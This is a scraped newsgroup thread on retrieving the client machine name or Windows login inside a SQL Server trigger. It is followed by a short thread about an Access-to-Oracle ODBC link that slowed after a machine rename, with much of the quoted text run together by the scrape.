---------------------------------------9 sadbo(1 row(s) affected)I was looking for the Windows account that's currently logged in, if that'spossible.Thanks."Vinod Kumar" <vinodk_sct@.NO_SPAM_hotmail.com> wrote in messagenews:cvmtl9$ufs$1@.news01.intel.com...> Check if this helps:>> SELECT @.@.SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User Name'>> --> HTH,> Vinod Kumar> MCSE, DBA, MCAD, MCSD> http://www.extremeexperts.com>> Books Online for SQL Server SP3 at> http://www.microsoft.com/sql/techinfo/productdoc/2000/books.asp>> "Neil" <njones@.pxdy.com> wrote in message> news:6_xTd.5362$873.4937@.newsread3.news.pas.earthl ink.net...>> Any function for getting the current Windows user?>>>> Thanks!>>>>>> "Tom Moreau" <tom@.dont.spam.me.cips.ca> wrote in message>> news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...>> > Check out HOST_NAME() in the BOL.>> >>> > -->> > Tom>> >>> > ---------------->> > Thomas A. Moreau, BSc, PhD, MCSE, MCDBA>> > SQL Server MVP>> > Columnist, SQL Server Professional>> > Toronto, ON Canada>> > www.pinnaclepublishing.com>> > .>> > "Neil" <njones@.pxdy.com> wrote in message>> > news:N1vTd.5219$873.4670@.newsread3.news.pas.earthl ink.net...>> > Is it possible to get the machine name in a trigger so that it can be>> > stored>> > in a field?>> >>> > Thanks.>> >>> >>>>>>|||try suser_sname()

dean

"Neil" <njones@.pxdy.com> wrote in message
news:wGAUd.7684$873.5789@.newsread3.news.pas.earthl ink.net...
> Here's what I got:
> ID Login Name
> User Name
> -- --------------------
-------------------
> ----------------------
-----------------9 sadbo(1 row(s)
affected)I was looking for the Windows account that's currently logged in,
if that'spossible.Thanks."Vinod Kumar" <vinodk_sct@.NO_SPAM_hotmail.com>
wrote in messagenews:cvmtl9$ufs$1@.news01.intel.com...> Check if this
helps:>> SELECT @.@.SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User
Name'>> --> HTH,> Vinod Kumar> MCSE, DBA, MCAD, MCSD>
http://www.extremeexperts.com>> Books Online for SQL Server SP3 at>
http://www.microsoft.com/sql/techinfo/productdoc/2000/books.asp>> "Neil"
<njones@.pxdy.com> wrote in message>
news:6_xTd.5362$873.4937@.newsread3.news.pas.earthl ink.net...>> Any function
for getting the current Windows user?>>>> Thanks!>>>>>> "Tom Moreau"
<tom@.dont.spam.me.cips.ca> wrote in message>>
news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...>> > Check out HOST_NAME() in
the BOL.>> >>> > -->> > Tom>> >>>
> ---------------->> > Thomas A. Moreau,
BSc, PhD, MCSE, MCDBA>> > SQL Server MVP>> > Columnist, SQL Server
Professional>> > Toronto, ON Canada>> > www.pinnaclepublishing.com>> > .>>
> "Neil" <njones@.pxdy.com> wrote in message>news:N1vTd.5219$873.4670@.newsread3.news.pas.earthl ink.net...>> > Is it
possible to get the machine name in a trigger so that it can be>> > stored>>
> in a field?>> >>> > Thanks.>> >>> >>>>>>|||Neil (njones@.pxdy.com) writes:
> Here's what I got:
> ID Login Name
> User Name
>-----------------
>9 sadbo(1 row(s) affected)
>I was looking for the Windows account that's currently logged in, if
>that'spossible.

It appears that the user has logged in through SQL authentication. In
that case you cannot retrieve the Windows user. In fact, the user
may not even have been authenticated through Windows - he might be
accessing SQL Server from a Unix box.

--
Erland Sommarskog, SQL Server MVP, esquel@.sommarskog.se

Books Online for SQL Server SP3 at
http://www.microsoft.com/sql/techin.../2000/books.asp|||Still get "sa".

"Dean" <dvitner@.nospam.gmail.com> wrote in message
news:uiV8mSZHFHA.2420@.TK2MSFTNGP14.phx.gbl...
> try suser_sname()
> dean
> "Neil" <njones@.pxdy.com> wrote in message
> news:wGAUd.7684$873.5789@.newsread3.news.pas.earthl ink.net...
>> Here's what I got:
>>
>> ID Login Name
>> User Name
>> -- --------------------
> -------------------
>> ----------------------
> -----------------9 sadbo(1
> row(s)
> affected)I was looking for the Windows account that's currently logged in,
> if that'spossible.Thanks."Vinod Kumar" <vinodk_sct@.NO_SPAM_hotmail.com>
> wrote in messagenews:cvmtl9$ufs$1@.news01.intel.com...> Check if this
> helps:>> SELECT @.@.SPID AS 'ID', SYSTEM_USER AS 'Login Name', USER AS 'User
> Name'>> --> HTH,> Vinod Kumar> MCSE, DBA, MCAD, MCSD>
> http://www.extremeexperts.com>> Books Online for SQL Server SP3 at>
> http://www.microsoft.com/sql/techinfo/productdoc/2000/books.asp>> "Neil"
> <njones@.pxdy.com> wrote in message>
> news:6_xTd.5362$873.4937@.newsread3.news.pas.earthl ink.net...>> Any
> function
> for getting the current Windows user?>>>> Thanks!>>>>>> "Tom Moreau"
> <tom@.dont.spam.me.cips.ca> wrote in message>>
> news:OjjQtktGFHA.4032@.TK2MSFTNGP12.phx.gbl...>> > Check out HOST_NAME() in
> the BOL.>> >>> > -->> > Tom>> >>>
>> ---------------->> > Thomas A.
>> Moreau,
> BSc, PhD, MCSE, MCDBA>> > SQL Server MVP>> > Columnist, SQL Server
> Professional>> > Toronto, ON Canada>> > www.pinnaclepublishing.com>> .>>
>> "Neil" <njones@.pxdy.com> wrote in message>> news:N1vTd.5219$873.4670@.newsread3.news.pas.earthl ink.net...>> > Is it
> possible to get the machine name in a trigger so that it can be>> stored>>
>> in a field?>> >>> > Thanks.>> >>> >>>>>>>
>>|||I was hoping there was a way to use a Windows API call or other, even with
SQL authentication.

Neil

"Erland Sommarskog" <esquel@.sommarskog.se> wrote in message
news:Xns960C1AF7BCEYazorman@.127.0.0.1...
> Neil (njones@.pxdy.com) writes:
>> Here's what I got:
>>
>> ID Login Name
>> User Name
>>-----------------
>>9 sadbo(1 row(s) affected)
>>I was looking for the Windows account that's currently logged in, if
>>that'spossible.
> It appears that the user has logged in through SQL authentication. In
> that case you cannot retrieve the Windows user. In fact, the user
> may not even have been authenticated through Windows - he might be
> accessing SQL Server from a Unix box.
> --
> Erland Sommarskog, SQL Server MVP, esquel@.sommarskog.se
> Books Online for SQL Server SP3 at
> http://www.microsoft.com/sql/techin.../2000/books.asp|||But how do you expect to get the Windows login when it is not a Windows
login in use but a SQL login? Do you mean the user account used on the
client (as opposed to the server)? If that's what you mean then you're
out of luck because SQL Server only knows what it's been told. That is,
the SQL Server doesn't really know anything about the client. As Erland
said, you don't even know what OS the client is running.

--
*mike hodgson* |/ database administrator/ | mallesons stephen jaques
*T* +61 (2) 9296 3668 |* F* +61 (2) 9296 3885 |* M* +61 (408) 675 907
*E* mailto:mike.hodgson@.mallesons.nospam.com |* W* http://www.mallesons.com

Neil wrote:

>I was hoping there was a way to use a Windows API call or other, even with
>SQL authentication.
>Neil
>"Erland Sommarskog" <esquel@.sommarskog.se> wrote in message
>news:Xns960C1AF7BCEYazorman@.127.0.0.1...
>
>>Neil (njones@.pxdy.com) writes:
>>
>>
>>>Here's what I got:
>>>
>>>ID Login Name
>>>User Name
>>>-----------------
>>>9 sadbo(1 row(s) affected)
>>>I was looking for the Windows account that's currently logged in, if
>>>that'spossible.
>>>
>>>
>>It appears that the user has logged in through SQL authentication. In
>>that case you cannot retrieve the Windows user. In fact, the user
>>may not even have been authenticated through Windows - he might be
>>accessing SQL Server from a Unix box.
>>
>>--
>>Erland Sommarskog, SQL Server MVP, esquel@.sommarskog.se
>>
>>Books Online for SQL Server SP3 at
>>http://www.microsoft.com/sql/techin.../2000/books.asp
>>
>>
>

Machine Name Change slows ODBC link intolerably

Hello Everyone,
I have had an ODBC link between Access and Oracle at work for some time
now which has worked without problem. The other day, one of our
technicians came to change the name of my machine. Despite my best
efforts, I could not keep him off my machine and sure enough, my ODBC
linking to Oracle is now incredibly slow. I've tried deleting the
Microsoft Oracle ODBC DSN, but to no avail. I know this is the
sqlserver group but the only results for a machine name change came up
in this group, I am presuming the principal is the same. Can anyone
tell me the full procedure to re-establish my working link? Thanks.
P.S. I work for a local council, so I can't ask anyone here. I have had
to explain file permissions to a Network Manager before... :-(The issues with machine name changes with SQL Server are completely
different. In SQL Server, when you change the machine name, you have
to update system tables that store the name of the local server and
update the registry for the new machine name. It's really a different
issue as it has to do with how the SQL Server service knows what is
local to itself as a server.
-Sue
On 4 Nov 2004 02:39:01 -0800, reclusive.monkey@.gmail.com wrote:

>Hello Everyone,
>I have had an ODBC link between Access and Oracle at work for some time
>now which has worked without problem. The other day, one of our
>technicians came to change the name of my machine. Despite my best
>efforts, I could not keep him off my machine and sure enough, my ODBC
>linking to Oracle is now incredibly slow. I've tried deleting the
>Microsoft Oracle ODBC DSN, but to no avail. I know this is the
>sqlserver group but the only results for a machine name change came up
>in this group, I am presuming the principal is the same. Can anyone
>tell me the full procedure to re-establish my working link? Thanks.
>P.S. I work for a local council, so I can't ask anyone here. I have had
>to explain file permissions to a Network Manager before... :-(